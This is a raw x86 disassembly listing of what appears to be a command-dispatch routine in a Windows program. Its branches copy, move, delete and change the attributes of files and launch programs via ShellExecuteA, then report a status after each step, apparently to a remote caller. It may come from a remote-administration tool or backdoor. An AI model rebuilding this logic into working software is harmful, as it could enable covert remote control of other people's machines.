call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x1c0]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x1bc]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x1b8]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x53c
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x1d4], ecx
lea ecx, [ebp - 0x1d4]
inc dword [ebp - 0x4ac]
mov edx, 1
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x1d4]
xor edx, edx
push eax
mov dword [ebp - 0x1c4], edx
inc dword [ebp - 0x4ac]
mov eax, esi
xor edx, edx
lea ecx, [ebp - 0x1c4]
mov edi, dword [eax]
call dword [edi + 0xc]
lea edx, [ebp - 0x1c4]
xor eax, eax
mov dword [ebp - 0x1c8], eax
lea ecx, [ebp - 0x1c8]
inc dword [ebp - 0x4ac]
mov eax, 0x48ccfe
call fcn.00475018
lea edx, [ebp - 0x1c8]
push edx
mov edx, 0x48cd0d
lea eax, [ebp - 0x1cc]
call fcn.00474b48
inc dword [ebp - 0x4ac]
xor eax, eax
mov dword [ebp - 0x1d0], eax
lea edx, [ebp - 0x1cc]
inc dword [ebp - 0x4ac]
lea ecx, [ebp - 0x1d0]
pop eax
call fcn.00474d9c
lea eax, [ebp - 0x1d0]
xor edx, edx
mov dword [ebp - 0x1d8], edx
lea ecx, [ebp - 0x1d8]
inc dword [ebp - 0x4ac]
pop edx
call fcn.00474d9c
lea eax, [ebp - 0x1d8]
push eax
mov edx, 0x48cd12
lea eax, [ebp - 0x1dc]
call fcn.00474b48
inc dword [ebp - 0x4ac]
xor eax, eax
mov dword [ebp - 0x1e0], eax
lea edx, [ebp - 0x1dc]
inc dword [ebp - 0x4ac]
lea ecx, [ebp - 0x1e0]
pop eax
call fcn.00474d9c
lea edx, [ebp - 0x1e0]
mov ecx, dword [edx]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x1e0]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x1dc]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x1d8]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x1d4]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x1d0]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x1cc]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x1c8]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x1c4]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
push 0
xor ecx, ecx
mov word [ebp - 0x4b8], 0x548
mov dword [ebp - 0x1e4], ecx
mov eax, esi
inc dword [ebp - 0x4ac]
lea ecx, [ebp - 0x1e4]
mov edi, dword [eax]
mov edx, 1
call dword [edi + 0xc]
mov eax, dword [ebp - 0x1e4]
test eax, eax
je 0x416242
mov edx, dword [ebp - 0x1e4]
jmp 0x416247
mov edx, 0x48cd18
push edx
xor eax, eax
mov dword [ebp - 0x1e8], eax
mov eax, esi
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
lea ecx, [ebp - 0x1e8]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x1e8]
test eax, eax
je 0x416277
mov edx, dword [ebp - 0x1e8]
jmp 0x41627c
mov edx, 0x48cd17
push edx
call sub.KERNEL32.DLL_CopyFileA
push eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x1e8]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x1e4]
mov edx, 2
call fcn.00474d44
pop eax
test eax, eax
je 0x416380
mov word [ebp - 0x4b8], 0x554
xor ecx, ecx
lea edx, [ebp - 0x1ec]
mov dword [ebp - 0x1ec], ecx
mov eax, 0x1004
inc dword [ebp - 0x4ac]
call fcn.0045f6c4
lea ecx, [ebp - 0x1ec]
push ecx
mov edx, 0x48cd19
lea eax, [ebp - 0x1f0]
call fcn.00474b48
inc dword [ebp - 0x4ac]
xor eax, eax
mov dword [ebp - 0x1f4], eax
lea edx, [ebp - 0x1f0]
inc dword [ebp - 0x4ac]
lea ecx, [ebp - 0x1f4]
pop eax
call fcn.00474d9c
lea edx, [ebp - 0x1f4]
mov ecx, dword [edx]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x1f4]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x1f0]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x1ec]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x560
mov edx, 0x48cd27
lea eax, [ebp - 0x1f8]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x1f8]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
push 0x80
xor ecx, ecx
mov word [ebp - 0x4b8], 0x56c
mov dword [ebp - 0x1fc], ecx
mov eax, esi
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
lea ecx, [ebp - 0x1fc]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x1fc]
test eax, eax
je 0x41640e
mov edx, dword [ebp - 0x1fc]
jmp 0x416413
mov edx, 0x48cd35
push edx
call sub.KERNEL32.DLL_SetFileAttributesA
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x1fc]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x578
xor eax, eax
lea ecx, [ebp - 0x200]
mov dword [ebp - 0x200], eax
mov eax, esi
inc dword [ebp - 0x4ac]
mov edx, 1
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x200]
test eax, eax
je 0x41646a
mov edx, dword [ebp - 0x200]
jmp 0x41646f
mov edx, 0x48cd37
push edx
xor eax, eax
mov dword [ebp - 0x204], eax
mov eax, esi
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
lea ecx, [ebp - 0x204]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x204]
test eax, eax
je 0x41649f
mov edx, dword [ebp - 0x204]
jmp 0x4164a4
mov edx, 0x48cd36
push edx
call sub.KERNEL32.DLL_MoveFileA
push eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x204]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x200]
mov edx, 2
call fcn.00474d44
pop eax
test eax, eax
je 0x4165a8
mov word [ebp - 0x4b8], 0x584
xor ecx, ecx
lea edx, [ebp - 0x208]
mov dword [ebp - 0x208], ecx
mov eax, 0x1004
inc dword [ebp - 0x4ac]
call fcn.0045f6c4
lea ecx, [ebp - 0x208]
push ecx
mov edx, 0x48cd38
lea eax, [ebp - 0x20c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
xor eax, eax
mov dword [ebp - 0x210], eax
lea edx, [ebp - 0x20c]
inc dword [ebp - 0x4ac]
lea ecx, [ebp - 0x210]
pop eax
call fcn.00474d9c
lea edx, [ebp - 0x210]
mov ecx, dword [edx]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x210]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x20c]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x208]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x590
mov edx, 0x48cd46
lea eax, [ebp - 0x214]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x214]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
push 0x80
xor ecx, ecx
mov word [ebp - 0x4b8], 0x59c
mov dword [ebp - 0x218], ecx
mov eax, esi
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
lea ecx, [ebp - 0x218]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x218]
test eax, eax
je 0x416636
mov edx, dword [ebp - 0x218]
jmp 0x41663b
mov edx, 0x48cd54
push edx
call sub.KERNEL32.DLL_SetFileAttributesA
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x218]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x5a8
xor eax, eax
lea ecx, [ebp - 0x21c]
mov dword [ebp - 0x21c], eax
mov eax, esi
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x21c]
test eax, eax
je 0x41668f
mov edx, dword [ebp - 0x21c]
jmp 0x416694
mov edx, 0x48cd55
push edx
call sub.KERNEL32.DLL_DeleteFileA
push eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x21c]
mov edx, 2
call fcn.00474d44
pop eax
test eax, eax
je 0x416782
mov word [ebp - 0x4b8], 0x5b4
xor ecx, ecx
lea edx, [ebp - 0x220]
mov dword [ebp - 0x220], ecx
mov eax, 0x1004
inc dword [ebp - 0x4ac]
call fcn.0045f6c4
lea ecx, [ebp - 0x220]
push ecx
mov edx, 0x48cd56
lea eax, [ebp - 0x224]
call fcn.00474b48
inc dword [ebp - 0x4ac]
xor eax, eax
mov dword [ebp - 0x228], eax
lea edx, [ebp - 0x224]
inc dword [ebp - 0x4ac]
lea ecx, [ebp - 0x228]
pop eax
call fcn.00474d9c
lea edx, [ebp - 0x228]
mov ecx, dword [edx]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x228]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x224]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x220]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x5c0
mov edx, 0x48cd64
lea eax, [ebp - 0x22c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x22c]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x5cc
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x230], ecx
lea ecx, [ebp - 0x230]
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x230]
test eax, eax
je 0x41680b
mov edx, dword [ebp - 0x230]
jmp 0x416810
mov edx, 0x48cd72
lea eax, [ebp - 0x234]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov eax, dword [eax]
call fcn.0045f8bc
push eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x234]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x230]
mov edx, 2
call fcn.00474d44
pop ecx
test cl, cl
je 0x416995
mov word [ebp - 0x4b8], 0x5d8
xor eax, eax
lea ecx, [ebp - 0x238]
mov dword [ebp - 0x238], eax
mov eax, esi
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x238]
test eax, eax
je 0x416896
mov edx, dword [ebp - 0x238]
jmp 0x41689b
mov edx, 0x48cd73
lea eax, [ebp - 0x23c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov edx, dword [eax]
mov eax, dword [ebp - 0x4d4]
mov ecx, dword [eax]
call dword [ecx + 0x58]
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x23c]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x238]
mov edx, 2
call fcn.00474d44
mov eax, dword [ebp - 0x4d4]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
jge 0x416944
mov word [ebp - 0x4b8], 0x5e4
mov edx, 0x48cd74
lea eax, [ebp - 0x240]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x240]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x5f0
mov edx, 0x48cd80
lea eax, [ebp - 0x244]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x244]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x5fc
mov edx, 0x48cd86
lea eax, [ebp - 0x248]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x248]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x608
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x25c], ecx
lea ecx, [ebp - 0x25c]
inc dword [ebp - 0x4ac]
mov edx, 1
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x25c]
xor edx, edx
push eax
mov dword [ebp - 0x24c], edx
inc dword [ebp - 0x4ac]
mov eax, esi
xor edx, edx
lea ecx, [ebp - 0x24c]
mov edi, dword [eax]
call dword [edi + 0xc]
lea edx, [ebp - 0x24c]
xor eax, eax
mov dword [ebp - 0x250], eax
lea ecx, [ebp - 0x250]
inc dword [ebp - 0x4ac]
mov eax, 0x48cd92
call fcn.00475018
lea edx, [ebp - 0x250]
push edx
mov edx, 0x48cda1
lea eax, [ebp - 0x254]
call fcn.00474b48
inc dword [ebp - 0x4ac]
xor eax, eax
mov dword [ebp - 0x258], eax
lea edx, [ebp - 0x254]
inc dword [ebp - 0x4ac]
lea ecx, [ebp - 0x258]
pop eax
call fcn.00474d9c
lea eax, [ebp - 0x258]
xor edx, edx
mov dword [ebp - 0x260], edx
lea ecx, [ebp - 0x260]
inc dword [ebp - 0x4ac]
pop edx
call fcn.00474d9c
lea eax, [ebp - 0x260]
push eax
mov edx, str....
lea eax, [ebp - 0x264]
call fcn.00474b48
inc dword [ebp - 0x4ac]
xor eax, eax
mov dword [ebp - 0x268], eax
lea edx, [ebp - 0x264]
inc dword [ebp - 0x4ac]
lea ecx, [ebp - 0x268]
pop eax
call fcn.00474d9c
lea edx, [ebp - 0x268]
mov ecx, dword [edx]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x268]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x264]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x260]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x25c]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x258]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x254]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x250]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x24c]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x620
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x26c], ecx
lea ecx, [ebp - 0x26c]
inc dword [ebp - 0x4ac]
mov edx, 1
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x26c]
mov edx, 1
mov eax, dword [eax]
call fcn.0045f76c
mov dword [ebp - 0x504], eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x26c]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x614
mov ecx, dword [ebp - 0x504]
xor eax, eax
push ecx
push 0
mov word [ebp - 0x4b8], 0x62c
mov dword [ebp - 0x270], eax
mov eax, esi
inc dword [ebp - 0x4ac]
lea ecx, [ebp - 0x270]
mov edi, dword [eax]
mov edx, 2
call dword [edi + 0xc]
mov eax, dword [ebp - 0x270]
test eax, eax
je 0x416c67
mov edx, dword [ebp - 0x270]
jmp 0x416c6c
mov edx, 0x48cdb3
push edx
xor eax, eax
mov dword [ebp - 0x274], eax
mov eax, esi
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
lea ecx, [ebp - 0x274]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x274]
test eax, eax
je 0x416c9c
mov edx, dword [ebp - 0x274]
jmp 0x416ca1
mov edx, 0x48cdb2
mov eax, dword [0x49a444]
push edx
push 0x48cdad
mov ecx, dword [eax]
mov eax, dword [ecx + 0x24]
push eax
call sub.SHELL32.DLL_ShellExecuteA
mov dword [ebp - 0x500], eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x274]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x270]
mov edx, 2
call fcn.00474d44
cmp word [ebp - 0x500], 0x20
ja 0x416daa
cmp word [ebp - 0x500], 2
je 0x416d0b
cmp word [ebp - 0x500], 3
jne 0x416d5c
mov word [ebp - 0x4b8], 0x638
mov edx, 0x48cdb4
lea eax, [ebp - 0x278]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x278]
mov edx, 2
call fcn.00474d44
jmp 0x416df6
mov word [ebp - 0x4b8], 0x644
mov edx, 0x48cdc6
lea eax, [ebp - 0x27c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x27c]
mov edx, 2
call fcn.00474d44
jmp 0x416df6
mov word [ebp - 0x4b8], 0x650
mov edx, 0x48cdd4
lea eax, [ebp - 0x280]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x280]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 8
jmp 0x419a93
mov word [ebp - 0x4b8], 0x65c
mov edx, 0x48cde2
lea eax, [ebp - 0x284]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x284]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x668
mov edx, 0x48cdf3
lea eax, [ebp - 0x288]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x288]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x674
mov edx, 0x48ce04
lea eax, [ebp - 0x28c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x28c]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x680
mov edx, 0x48ce15
lea eax, [ebp - 0x290]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x290]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x68c
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x294], ecx
lea ecx, [ebp - 0x294]
inc dword [ebp - 0x4ac]
mov edx, 1
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x294]
test eax, eax
je 0x416f7e
mov edx, dword [ebp - 0x294]
jmp 0x416f83
mov edx, 0x48ce2e
push edx
xor eax, eax
mov dword [ebp - 0x298], eax
mov eax, esi
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
lea ecx, [ebp - 0x298]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x298]
test eax, eax
je 0x416fb3
mov edx, dword [ebp - 0x298]
jmp 0x416fb8
mov edx, 0x48ce2d
push edx
call fcn.00403d98
add esp, 8
mov edx, 2
push eax
lea eax, [ebp - 0x298]
dec dword [ebp - 0x4ac]
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x294]
mov edx, 2
call fcn.00474d44
pop eax
test eax, eax
je 0x417044
mov word [ebp - 0x4b8], 0x698
mov edx, 0x48ce2f
lea eax, [ebp - 0x29c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x29c]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x6a4
mov edx, 0x48ce3d
lea eax, [ebp - 0x2a0]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x2a0]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x6b0
mov edx, 0x48ce59
lea eax, [ebp - 0x2a4]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x2a4]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x6bc
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x2a8], ecx
lea ecx, [ebp - 0x2a8]
inc dword [ebp - 0x4ac]
mov edx, 1
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x2a8]
test eax, eax
je 0x41711c
mov edx, dword [ebp - 0x2a8]
jmp 0x417121
mov edx, 0x48ce74
push edx
xor eax, eax
mov dword [ebp - 0x2ac], eax
mov eax, esi
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
lea ecx, [ebp - 0x2ac]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x2ac]
test eax, eax
je 0x417151
mov edx, dword [ebp - 0x2ac]
jmp 0x417156
mov edx, 0x48ce73
push edx
call fcn.00403dd8
add esp, 8
mov edx, 2
push eax
lea eax, [ebp - 0x2ac]
dec dword [ebp - 0x4ac]
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x2a8]
mov edx, 2
call fcn.00474d44
pop eax
test eax, eax
je 0x4171e2
mov word [ebp - 0x4b8], 0x6c8
mov edx, 0x48ce75
lea eax, [ebp - 0x2b0]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x2b0]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x6d4
mov edx, 0x48ce85
lea eax, [ebp - 0x2b4]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x2b4]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov ecx, dword [ebp - 0x4d4]
xor eax, eax
push ecx
lea ecx, [ebp - 0x2b8]
mov word [ebp - 0x4b8], 0x6e0
mov dword [ebp - 0x2b8], eax
mov eax, esi
inc dword [ebp - 0x4ac]
mov edx, 1
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x2b8]
test eax, eax
je 0x417275
mov edx, dword [ebp - 0x2b8]
jmp 0x41727a
mov edx, 0x48cea0
push edx
xor eax, eax
mov dword [ebp - 0x2bc], eax
mov eax, esi
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
lea ecx, [ebp - 0x2bc]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x2bc]
test eax, eax
je 0x4172aa
mov edx, dword [ebp - 0x2bc]
jmp 0x4172af
mov edx, 0x48ce9f
push edx
call fcn.0040bedc
add esp, 0xc
test eax, eax
sete al
and eax, 1
mov edx, 2
push eax
lea eax, [ebp - 0x2bc]
dec dword [ebp - 0x4ac]
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x2b8]
mov edx, 2
call fcn.00474d44
pop ecx
test cl, cl
je 0x417343
mov word [ebp - 0x4b8], 0x6ec
mov edx, 0x48cea1
lea eax, [ebp - 0x2c0]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x2c0]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x6f8
mov edx, 0x48ceb5
lea eax, [ebp - 0x2c4]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x2c4]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov ecx, dword [ebp - 0x4d4]
xor eax, eax
push ecx
lea ecx, [ebp - 0x2c8]
mov word [ebp - 0x4b8], 0x704
mov dword [ebp - 0x2c8], eax
mov eax, esi
inc dword [ebp - 0x4ac]
mov edx, 1
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x2c8]
test eax, eax
je 0x4173d6
mov edx, dword [ebp - 0x2c8]
jmp 0x4173db
mov edx, 0x48ceca
push edx
xor eax, eax
mov dword [ebp - 0x2cc], eax
mov eax, esi
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
lea ecx, [ebp - 0x2cc]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x2cc]
test eax, eax
je 0x41740b
mov edx, dword [ebp - 0x2cc]
jmp 0x417410
mov edx, 0x48cec9
push edx
xor eax, eax
mov al, byte [0x48a754]
push eax
call fcn.0040b914
add esp, 0x10
test eax, eax
sete cl
and ecx, 1
lea eax, [ebp - 0x2cc]
push ecx
mov edx, 2
dec dword [ebp - 0x4ac]
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x2c8]
mov edx, 2
call fcn.00474d44
pop ecx
test cl, cl
je 0x4174ac
mov word [ebp - 0x4b8], 0x710
mov edx, 0x48cecb
lea eax, [ebp - 0x2d0]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
